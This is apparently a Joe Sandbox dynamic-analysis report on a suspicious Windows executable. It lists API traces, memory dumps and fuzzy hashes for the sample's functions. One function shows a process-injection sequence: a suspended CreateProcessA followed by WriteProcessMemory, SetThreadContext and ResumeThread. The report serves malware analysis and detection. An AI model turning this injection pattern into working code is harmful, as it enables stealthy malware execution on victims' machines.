Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: AddressProc
String ID: CorExitProcess$mscoree.dll
API String ID: 190572456-1276376045
Opcode ID: 16c35904b9aa9e30bc3120f64a0636c175ce57746b9110365dd1fc4e434b66e7
Instruction ID: 4894f52bf74f9347b70dfb035d6a7ff3ddb74154b56e4f6c491328643739b9d0
Opcode Fuzzy Hash: 16c35904b9aa9e30bc3120f64a0636c175ce57746b9110365dd1fc4e434b66e7
Instruction Fuzzy Hash: 6501A731954755BFCF129B54DC09FEE77B8FB05B51F044529F421A2A90DB749A00CB50

Analysis Process: HXqqC3YwnKDsi7zeJNheTOoZ.exePID: 1608, Parent PID: 6852COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1%
Total number of Nodes:	1610
Total number of Limit Nodes:	14

Executed Functions

Function 00D2018D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00D202FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00D2030F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00D2032D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00D20351
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 00D2037C
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 00D203D4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 00D2041F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00D2045D
Wow64SetThreadContext.KERNEL32(?,?), ref: 00D20499
ResumeThread.KERNELBASE(?), ref: 00D204A8

Strings

Load, xrefs: 00D201CB
aryA, xrefs: 00D201D3
ress, xrefs: 00D20217
GetP, xrefs: 00D2020F

Memory Dump Source

Source File: 00000006.00000002.1892942259.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d20000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 6275ea4caa853b8fa4d7600b0ddcfe04d95b72c499970015e0d5ffb77c7bc2ef
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 04B1F77260024AAFDB60CF68CC80BDA77A5FF88714F158524EA0CEB341D774FA518BA4

Function 0066EFA8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,2CD9EC66,?,0066F0B5,?,?,00000000,00000000), ref: 0066F069

Strings

ext-ms-, xrefs: 0066F013
api-ms-, xrefs: 0066EFFF

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 80e838c23e2283560d3fae6937c59ee9f513038bc06ad56164d4a99dc1bb269e
Instruction ID: ff1c23f85a4fdf0d255be9c3e5d2b20c32a2030ec8d95b8ec691c30712750365
Opcode Fuzzy Hash: 80e838c23e2283560d3fae6937c59ee9f513038bc06ad56164d4a99dc1bb269e
Instruction Fuzzy Hash: FA213A36A01211BBD7319B20EC54A9A376BEF51760F201530EA09AB392E771ED01C6D0

Function 0067C1F7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,ole,00000000,?,?,0067C2E6), ref: 0067C20B

Part of subcall function 0067C151: _Deallocate.LIBCONCRT ref: 0067C1EC

CreateThread.KERNELBASE(00000000,00000000,00000188,00687028,00000000,00000000), ref: 0067C23F
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,?,0067C2E6), ref: 0067C24B
FindCloseChangeNotification.KERNELBASE(00000000,?,?,0067C2E6), ref: 0067C252

Strings

ole, xrefs: 0067C1FA

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: AllocChangeCloseCreateDeallocateFindNotificationObjectSingleThreadVirtualWait
String ID: ole
API String ID: 257560461-1213916275
Opcode ID: 756f5ae8b8eab9b24e1c5fbefcb43798243b41e6bbb952bdf837bfd0e94c46a2
Instruction ID: f1856e17198ddc52d03cbc0b81e35092a1f93d051712aa5237122875fc85152b
Opcode Fuzzy Hash: 756f5ae8b8eab9b24e1c5fbefcb43798243b41e6bbb952bdf837bfd0e94c46a2
Instruction Fuzzy Hash: AFF0A7B620011C7FD2513F62AC89EEB3A2DDF477F5F421528FB0D91181CA166D4243B9

Function 006729E1 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00672A68
__alloca_probe_16.LIBCMT ref: 00672B29
__freea.LIBCMT ref: 00672B90

Part of subcall function 00671DC1: HeapAlloc.KERNEL32(00000000,00661FA6,?,?,006657EA,?,?,?,00000000,?,006617E2,00661FA6,?,?,?,?), ref: 00671DF3

__freea.LIBCMT ref: 00672BA5
__freea.LIBCMT ref: 00672BB5

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 6d9ab8baa8c27bffb7638c21d485dc5060fbe879c1738527c803922c402bd61b
Instruction ID: e4068d566851ab88f7948026075710ce3785588dc5326c3e4fbe03339f8b70a0
Opcode Fuzzy Hash: 6d9ab8baa8c27bffb7638c21d485dc5060fbe879c1738527c803922c402bd61b
Instruction Fuzzy Hash: E351AD72600217AFEF259F65CC92EFB7BAAEF54B14B158529FC0CE6210EA31CD508664

Function 0066C0A9 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0066C0A3,00000000,00668CD2,?,?,2CD9EC66,00668CD2,?), ref: 0066C0BA
TerminateProcess.KERNEL32(00000000,?,0066C0A3,00000000,00668CD2,?,?,2CD9EC66,00668CD2,?), ref: 0066C0C1
ExitProcess.KERNEL32 ref: 0066C0D3

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ef487bf43ce6103e93fd6b5c33c6403d334d66a4687d922ffd885de6b3c133ff
Instruction ID: 8bf973a07f482f3b9c9a537aec330887f58e77ce1a81f4e37c958c4cd48153f7
Opcode Fuzzy Hash: ef487bf43ce6103e93fd6b5c33c6403d334d66a4687d922ffd885de6b3c133ff
Instruction Fuzzy Hash: 21D09272000908BBCF553F64ED0E9A97F3BBF413A5F046414BA8D5A172CF36D9939A94

Function 00674CFF Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0067482F: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 0067485A

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00674B46,?,00000000,?,00000000,?), ref: 00674D60
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00674B46,?,00000000,?,00000000,?), ref: 00674DA2

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 8abc227826a5803170fa909428dd01d193303a8d267b3028f12eb5e2ba589a32
Instruction ID: 29aced9336f0b9c5a84ba6ac05195ed24fd0b1914fd981c037f470e7e9365477
Opcode Fuzzy Hash: 8abc227826a5803170fa909428dd01d193303a8d267b3028f12eb5e2ba589a32
Instruction Fuzzy Hash: 05512370A002459EDB31CF75C8896EABBF7FF81310F18846ED09A87251EB759946CB91

Function 0066F442 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00672ACF,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0066F476
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00672ACF,?,?,00000000,?,00000000), ref: 0066F494

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 0308f6774f00dba6a870d3069fecb1a94bbec7e0cbe33f827578298983251052
Instruction ID: f62d76f20274f0238c2667a209bff74870e5c79c790ae7b2d674a771cc3a03ca
Opcode Fuzzy Hash: 0308f6774f00dba6a870d3069fecb1a94bbec7e0cbe33f827578298983251052
Instruction Fuzzy Hash: 1AF0643250021ABBCF126FA0EC05ADE3F67BF483A0F058124FA1925121CB32D972AB90

Function 00674903 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00674B52,00674B46,00000000), ref: 00674935

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 7459f195998dcf8ca56c0c215adc0358139fc82480f7a45f44bd96dc1c0d51fd
Instruction ID: 2e3ee88a1e99e9361c55f811f82a1e140f1973d26ab7603ffb633d3cb0cf409d
Opcode Fuzzy Hash: 7459f195998dcf8ca56c0c215adc0358139fc82480f7a45f44bd96dc1c0d51fd
Instruction Fuzzy Hash: B25179715042589EDB228E28CC88BF67BBEEB56304F2481EDE19ED7142D731AD46DF20

Function 0066F073 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 481107a586581b6f138ebec3f52e1511dcbc6e015b3caec75476abdf963fddda
Instruction ID: d3ff1ae0bfac2f2be23c49a9612de9b94e108e8e2d903d69d804c18c7073b09a
Opcode Fuzzy Hash: 481107a586581b6f138ebec3f52e1511dcbc6e015b3caec75476abdf963fddda
Instruction Fuzzy Hash: 0C01F5733441119B9B268F69FC6099A33D7ABC53207249134FA04CB196EA31C841C7A0

Non-executed Functions

Function 00677596 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,006778B4,00000002,00000000,?,?,?,006778B4,?,00000000), ref: 0067762F
GetLocaleInfoW.KERNEL32(?,20001004,006778B4,00000002,00000000,?,?,?,006778B4,?,00000000), ref: 00677658
GetACP.KERNEL32(?,?,006778B4,?,00000000), ref: 0067766D

Strings

OCP, xrefs: 006775EA
ACP, xrefs: 006775B4

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e2751277314870350875a653ded27acd0829675135880a3f3900e3231b88b764
Instruction ID: d993cd836a95ef2422326e29e013dabaac1076fc255962f7beae880b2e6b4aa1
Opcode Fuzzy Hash: e2751277314870350875a653ded27acd0829675135880a3f3900e3231b88b764
Instruction Fuzzy Hash: 8A219522708505AAEB348F69C905BD773A7EF50B54B56C864E90EDB318FB32DE42C394

Function 0067776B Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0066EA50: GetLastError.KERNEL32(?,00000008,00672F56,00000000,00668E50), ref: 0066EA54
Part of subcall function 0066EA50: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0066EAF6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00677877
IsValidCodePage.KERNEL32(00000000), ref: 006778C0
IsValidLocale.KERNEL32(?,00000001), ref: 006778CF
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00677917
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00677936

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 14d5cc0a3ccd5bca574094bdbeecc7fc76933ca9c62809f0a3bb4e107a3a27b8
Instruction ID: 2ae7ade8724ff1bcbc567d0c8ab066454b840326ca15668d0c2908f7a11df6ef
Opcode Fuzzy Hash: 14d5cc0a3ccd5bca574094bdbeecc7fc76933ca9c62809f0a3bb4e107a3a27b8
Instruction Fuzzy Hash: 07519071A14205AFEB14DFA4DC45EFE77BABF04700F148579E909E7250EB709944CB62

Function 00676E07 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0066EA50: GetLastError.KERNEL32(?,00000008,00672F56,00000000,00668E50), ref: 0066EA54
Part of subcall function 0066EA50: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0066EAF6

GetACP.KERNEL32(?,?,?,?,?,?,0066CA5C,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00676EC8
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0066CA5C,?,?,?,00000055,?,-00000050,?,?), ref: 00676EF3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00677056

Strings

utf8, xrefs: 00676FC5

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 9d630f1800297a87580b9294ec54060e7446e7e9bf43168a70f9fe1dde574b16
Instruction ID: e0eabb5420c9ad25b71aba5d2bea1aa19cd95d95d16eea0c837f755aa69f1896
Opcode Fuzzy Hash: 9d630f1800297a87580b9294ec54060e7446e7e9bf43168a70f9fe1dde574b16
Instruction Fuzzy Hash: D9712371604B06AAEB24AB34DC42FAA77ABEF44704F14842AF50DD7281FB74ED41C7A4

Function 00664D66 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00664D72
IsDebuggerPresent.KERNEL32 ref: 00664E3E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00664E57
UnhandledExceptionFilter.KERNEL32(?), ref: 00664E61

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: cab70c3a58dc7d1f089c471323257a39ab268bbc55634127f10a2cc3149ef2f6
Instruction ID: eb80f49dc4ba125b54fa106ffcbc006884a609e72354ab5af18d2ae6499cd358
Opcode Fuzzy Hash: cab70c3a58dc7d1f089c471323257a39ab268bbc55634127f10a2cc3149ef2f6
Instruction Fuzzy Hash: BA31F775D053289BDF20DFA4D9497CDBBB8BF08300F1051AAE50DAB250EB719A85CF45

Function 0067721A Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0066EA50: GetLastError.KERNEL32(?,00000008,00672F56,00000000,00668E50), ref: 0066EA54
Part of subcall function 0066EA50: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0066EAF6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0067726E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006772B8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0067737E

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 8ee8c3997dd1fdf7786c36078b5e0c3004e5ba39eff2d0aeb3988094ca750b0f
Instruction ID: 373848c425a95154d5a2807682324925b1e6f22d69798271bd4ba62eea16b215
Opcode Fuzzy Hash: 8ee8c3997dd1fdf7786c36078b5e0c3004e5ba39eff2d0aeb3988094ca750b0f
Instruction Fuzzy Hash: 01618D715142179BDB28DF28CC82BBA77AAFF04310F1481B9ED19C6285E734E981EB54

Function 00668CD3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00668DCB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00668DD5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00668DE2

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 07d0ce085028cae51900929d1e45a6eebf74be3ca9e95c6b14701e30bd0fd58c
Instruction ID: a9f9a0ce1274d92ad280a89648e57db884417e22604d6447c08d9ccebdc15d8e
Opcode Fuzzy Hash: 07d0ce085028cae51900929d1e45a6eebf74be3ca9e95c6b14701e30bd0fd58c
Instruction Fuzzy Hash: 5331B3749012289BCB61DF64D8897CDBBB5BF58310F5052DAE41CA7290EB709F81CF58

Function 006770F4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0066EA50: GetLastError.KERNEL32(?,00000008,00672F56,00000000,00668E50), ref: 0066EA54
Part of subcall function 0066EA50: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0066EAF6

EnumSystemLocalesW.KERNEL32(0067721A,00000001,00000000,?,-00000050,?,0067784B,00000000,?,?,?,00000055,?), ref: 00677166

Strings

Kxg, xrefs: 0067713B

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

